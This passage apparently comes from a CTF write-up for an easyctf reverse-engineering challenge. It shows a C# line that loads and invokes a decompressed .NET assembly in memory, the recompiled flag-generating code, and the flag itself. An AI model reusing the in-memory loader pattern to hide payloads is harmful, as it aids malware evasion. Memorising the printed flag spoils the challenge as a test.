while (count > 0);
Assembly.Load(list2.ToArray()).EntryPoint.Invoke(null, null);

It appears the string was only “gzipped” after extracting it we have another .NET PE.. With the source code I recompiled it online using ideone, the output was the flag :D

using System;
using System.Text;

public class Test{
	public static void Main(){
	Random random = new Random(0xe45ec7f);
    StringBuilder builder = new StringBuilder();
    builder.Append("easyctf{");
    for (int i = 0; i < 6; i++){
        builder.Append(random.Next());
    }
    builder.Append("}");
    string str = builder.ToString();
    Console.WriteLine(str);
	}
}

easyctf{12761716281964844769159211786140015599014519771561198738372}